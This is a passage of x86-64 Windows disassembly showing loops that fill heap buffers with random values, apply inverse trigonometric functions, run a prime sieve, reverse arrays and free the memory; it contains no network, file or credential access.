add dword [rbp + 0x5cec], eax
add dword [rbp + 0x5cf0], 1
cmp dword [rbp + 0x5cf0], 0x75a
jle 0x140002a02
mov rax, qword [rbp + 0x3530]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x5ce8], 0
jmp 0x140002a93
call sub.msvcrt.dll_rand
imul eax, eax, 0x263
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14004e220]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.1400462b0
movq rax, xmm0
mov qword [rbp + 0x4e0], rax
add dword [rbp + 0x5ce8], 1
cmp dword [rbp + 0x5ce8], 0x1a1
jle 0x140002a52
mov dword [rbp + 0x5ce4], 0xffffffff
mov ecx, 0x2df8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x3520], rax
add dword [rbp + 0x5ce4], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14004e220]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x5ce4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3520]
add rax, rdx
movsd xmm1, qword [0x14004e218]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x5ce4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3520]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x5ce4]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x3520]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x5ce4], 0x5bd
jle 0x140002aba
mov ecx, 0x4338
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x3518], rax
mov dword [rbp + 0x5ce0], 0
jmp 0x140002bbe
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x5ce0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3518]
add rax, rdx
movsd xmm1, qword [0x14004e220]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x5ce0], 1
cmp dword [rbp + 0x5ce0], 0x866
jle 0x140002b80
mov dword [rbp + 0x5ce0], 0
jmp 0x140002c28
mov eax, dword [rbp + 0x5ce0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3518]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x5ce0]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x3518]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x5ce0], 1
cmp dword [rbp + 0x5ce0], 0x866
jle 0x140002bd6
mov ecx, 0xb30
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x3510], rax
mov dword [rbp + 0x5cdc], 0
jmp 0x140002c9f
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14004e220]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x5cdc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3510]
add rax, rdx
movsd xmm1, qword [0x14004e218]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x5cdc], 1
cmp dword [rbp + 0x5cdc], 0x165
jle 0x140002c51
mov dword [rbp + 0x5cdc], 0
jmp 0x140002d09
mov eax, dword [rbp + 0x5cdc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3510]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x5cdc]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x3510]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x5cdc], 1
cmp dword [rbp + 0x5cdc], 0x165
jle 0x140002cb7
mov dword [rbp + 0x5cd8], 0xffffffff
add dword [rbp + 0x5cd8], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x2b6
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14004e220]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.1400462b0
movq rax, xmm0
mov qword [rbp + 0x3508], rax
cmp dword [rbp + 0x5cd8], 0xcf5
jle 0x140002d1f
mov dword [rbp + 0x5cd4], 0xffffffff
add dword [rbp + 0x5cd4], 1
call sub.msvcrt.dll_rand
shl eax, 2
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14004e220]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140045df0
movq rax, xmm0
mov qword [rbp + 0x3500], rax
cmp dword [rbp + 0x5cd4], 0x233
jle 0x140002d76
pxor xmm0, xmm0
movsd qword [rbp + 0x5cc8], xmm0
movsd xmm0, qword [0x14004e218]
movsd qword [rbp + 0x5cc0], xmm0
mov dword [rbp + 0x5cbc], 0
add dword [rbp + 0x5cbc], 1
movsd xmm0, qword [rbp + 0x5cc0]
addsd xmm0, xmm0
movsd qword [rbp + 0x5cc0], xmm0
movsd xmm0, qword [0x14004e218]
divsd xmm0, qword [rbp + 0x5cc0]
movsd xmm1, qword [rbp + 0x5cc8]
addsd xmm0, xmm1
movsd qword [rbp + 0x5cc8], xmm0
movsd xmm0, qword [0x14004e218]
ucomisd xmm0, qword [rbp + 0x5cc8]
jp 0x140002e49
movsd xmm0, qword [0x14004e218]
ucomisd xmm0, qword [rbp + 0x5cc8]
je 0x140002e55
cmp dword [rbp + 0x5cbc], 0x3c4
jle 0x140002de6
mov dword [rbp + 0x34fc], 1
mov ecx, 0x397c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x34f0], rax
mov qword [rbp + 0x5cb0], 2
jmp 0x140002ea4
mov rax, qword [rbp + 0x5cb0]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x34f0]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x5cb0], 1
cmp qword [rbp + 0x5cb0], 0xe5e
jbe 0x140002e7d
mov qword [rbp + 0x5cb0], 2
jmp 0x140002f3b
mov rax, qword [rbp + 0x5cb0]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x34f0]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140002f33
mov rax, qword [rbp + 0x5cb0]
mov qword [rbp + 0x5ca8], rax
jmp 0x140002f1c
mov rax, qword [rbp + 0x5cb0]
imul rax, qword [rbp + 0x5ca8]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x34f0]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x5ca8], 1
mov rax, qword [rbp + 0x5cb0]
imul rax, qword [rbp + 0x5ca8]
cmp rax, 0xe5e
jbe 0x140002eed
add qword [rbp + 0x5cb0], 1
cmp qword [rbp + 0x5cb0], 0xe5e
jbe 0x140002ebe
mov rax, qword [rbp + 0x34f0]
mov rcx, rax
call sub.msvcrt.dll_free
mov ecx, 0x53b0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x34e8], rax
mov ecx, 0x53b0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x34e0], rax
mov dword [rbp + 0x5ca4], 0
jmp 0x140003016
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x5ca4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x34e8]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x5ca4], 1
cmp dword [rbp + 0x5ca4], 0xa75
jle 0x140002f8c
mov dword [rbp + 0x5ca4], 0
jmp 0x140003084
mov eax, dword [rbp + 0x5ca4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x34e8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x5ca4]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x34e0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140045d10
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x5ca4], 1
cmp dword [rbp + 0x5ca4], 0xa75
jle 0x140003032
mov dword [rbp + 0x5ca0], 0xffffffff
mov ecx, 0x23b0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x34d8], rax
add dword [rbp + 0x5ca0], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14004e220]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x5ca0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x34d8]
add rax, rdx
movsd xmm1, qword [0x14004e218]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x5ca0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x34d8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x5ca0]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x34d8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x5ca0], 0x474
jle 0x1400030ab
mov ecx, 0x26f8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x34d0], rax
mov ecx, 0x26f8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x34c8], rax
mov dword [rbp + 0x5c98], 0x9bd
mov dword [rbp + 0x5c9c], 0
jmp 0x14000321c
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x5c9c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x34d0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x5c98]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x34d0]
add rax, rdx
mov edx, dword [rbp + 0x5c9c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x34c8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x5c98], 1
add dword [rbp + 0x5c9c], 1
cmp dword [rbp + 0x5c9c], 0x9bd
jle 0x14000318f
mov rax, qword [rbp + 0x34d0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x34c8]
mov rcx, rax
call sub.msvcrt.dll_free
mov ecx, 0x1a8c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x34c0], rax
mov dword [rbp + 0x5c90], 0
mov dword [rbp + 0x34bc], 0
mov dword [rbp + 0x5c94], 0
jmp 0x1400032c7